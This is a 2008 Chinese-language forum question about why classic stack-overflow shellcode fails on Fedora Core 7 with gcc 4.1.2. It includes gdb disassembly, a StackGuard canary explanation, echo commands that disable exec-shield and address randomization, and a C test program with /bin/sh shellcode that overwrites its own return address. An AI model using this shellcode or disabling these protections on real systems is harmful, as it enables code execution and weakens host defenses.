- 论坛徽章:
- 0
|
作溢出攻击的时候发现很多shellcode都不能在FC7 with gcc 4.1.2下运运行,而能够在REDHAT 9 下跑谈跑通,查阅了一下关于堆栈保护技术的资料,发现了一下几种Stackguard、Stackshield、Formatguard、Formatguard、堆栈不可执行、数据段不可执行、增强的缓冲区溢出保护及内核MAC、硬件级别的保护等。
面临的主要问题是gcc 4.1.2采用了什么保护技术?不会以补丁的形式打到gcc上,应该是写到源码里面了。
Stackguard、Stackshield比较通用,而且也有应用在gcc中的先例,而还有一个叫exec-shield的方式(不知道是不是和前面两种重复)确实应用在linux下面,通过
echo “0″ > /proc/sys/kernel/exec-shield
echo “0″ > /proc/sys/kernel/randomize_va_space
可以关闭exec-shield。
现在的问题是:
对于一个简单空主函数:
对应的汇编语句如下:
- (gdb) disassemble main
- Dump of assembler code for function main:
- 0x08048374 <main+0>: lea 0x4(%esp),%ecx
- 0x08048378 <main+4>: and $0xfffffff0,%esp
- 0x0804837b <main+7>: pushl 0xfffffffc(%ecx)
- 0x0804837e <main+10>: push %ebp
- 0x0804837f <main+11>: mov %esp,%ebp
- 0x08048381 <main+13>: push %ecx
- 0x08048382 <main+14>: pop %ecx
- 0x08048383 <main+15>: pop %ebp
- 0x08048384 <main+16>: lea 0xfffffffc(%ecx),%esp
- 0x08048387 <main+19>: ret
- End of assembler dump.
复制代码
序幕:
- 0x08048374 <main+0>: lea 0x4(%esp),%ecx
- 0x08048378 <main+4>: and $0xfffffff0,%esp
- 0x0804837b <main+7>: pushl 0xfffffffc(%ecx)
- 0x0804837e <main+10>: push %ebp
- 0x0804837f <main+11>: mov %esp,%ebp
- 0x08048381 <main+13>: push %ecx
复制代码
收尾:
- 0x08048382 <main+14>: pop %ecx
- 0x08048383 <main+15>: pop %ebp
- 0x08048384 <main+16>: lea 0xfffffffc(%ecx),%esp
- 0x08048387 <main+19>: ret
复制代码
与REDHAT 9(gcc版本3.2.2)的区别是:
- (gdb) disassemble main
- Dump of assembler code for function main:
- 0x080482f4 <main+0>: push %ebp
- 0x080482f5 <main+1>: mov %esp,%ebp
- 0x080482f7 <main+3>: sub $0x8,%esp
- 0x080482fa <main+6>: and $0xfffffff0,%esp
- 0x080482fd <main+9>: mov $0x0,%eax
- 0x08048302 <main+14>: sub %eax,%esp
- 0x08048304 <main+16>: leave
- 0x08048305 <main+17>: ret
- End of assembler dump.
复制代码
一个本质区别是gcc 4.1.2将ecx也压栈。
而stackguard机制简单介绍如下(stackshield也差不多,只不过将返回值存储在另外的一块内存空间中):
因为缓冲区溢出的通常都会改写函数返回地址,stackguard是个编译器补丁,它产生一个"canary"值(一个
单字)放到返回地址的前面,如果当函数返回时,发现这个canary的值被改变了,就证明可能有人正在试图进行缓冲区
溢出攻击,程序会立刻响应,发送一条入侵警告消息给syslogd,然后终止进程。"canary"包含:NULL(0×00), CR
(0×0d), LF (0×0a) 和 EOF (0xff)四个字 符,它们应该可以阻止大部分的字符串操作,使溢出攻击无效。一
个随机数canary在程序执行的时候被产生。所以攻击者不能通过搜索程序的二进制文件得到"canary"值。如果/dev/
urandom存在,随机数就从那里取得。否则,就从通过对当前时间进行编码得到。其随机性足以阻止绝大部分的预测攻
击。Immunix系统为采用stackguard编译的Red Hat Linux,但stackguard所提供的保护并非绝对安全,满足一些条件就
可以突破限制:如覆盖一个函数指针、可能存在的exit()或_exit()系统调用地址、GOT等。
Stackguard官方链接:http://immunix.org/
有个问题:是否是ecx中存储的就是这个canary?(有用gdb调试,打印出当时的ecx的内容为0x00000001),如果是的话我不覆盖canary是否能够成功的溢出?自己编了程序调试如下,思路主要是分别覆盖:
- /*
- * last.c for test on Fedora Core 7 with gcc 4.1.2 overflow
- */
- #include<stdio.h>
- static char shellcode[] =
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
- "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
- "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
- void main()
- {
- int *ret1=NULL;
- int *ret2=NULL;
- ret1 = (int *)&ret1+5;
- ret2 = (int *)&ret2+4;
- (*ret1) = (int)shellcode;
- (*ret2) = (int)shellcode+4;
- }
复制代码
但是依然没有成功,执行结果什么也出现。
感觉无论gcc怎样保护堆栈,自己想编写一个程序溢出自己应该还是没问题的啊~~~
请教问题处出在什么位置,谢谢高手们~~~
[ 本帖最后由 ruger 于 2008-8-21 23:07 编辑 ] |
|